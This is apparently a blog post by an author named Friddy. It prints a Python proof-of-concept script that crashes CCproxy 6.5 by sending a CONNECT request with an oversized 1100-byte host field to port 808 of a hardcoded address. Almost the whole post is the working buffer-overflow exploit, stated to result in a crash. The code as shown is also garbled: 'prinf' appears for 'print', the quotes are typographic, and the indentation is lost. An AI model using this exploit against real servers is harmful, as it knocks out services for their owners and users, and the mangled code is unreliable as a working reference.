CCproxy 6.5 Connect BufferOverflow POC

作者:Friddy

#Author:Friddy
#QQ:568623
#Email:[email protected]
import sys
import struct
import socket
from time import sleep
prinf “CCproxy 6.5 Connect BufferOverflow POC\nResult:Crash\n”
buf=(“CONNECT “+”A”*1100+”:443 HTTP/1.0\n”
“User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; .NET CLR 2.0.50727)\n”
“Host: www.friddy.cn\n”
“Content-Length: 0\n”
“Proxy-Connection: Keep-Alive\n”
“Pragma: no-cache\x0d\x0a\x0d\x0a”)

HOST = “192.168.8.18”

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST,808))
except:
print “Could not connect to server!”
sys.exit(0)

s.send(buf)
print s.recv(1024)
s.close()

#EoF

相关日志

发表评论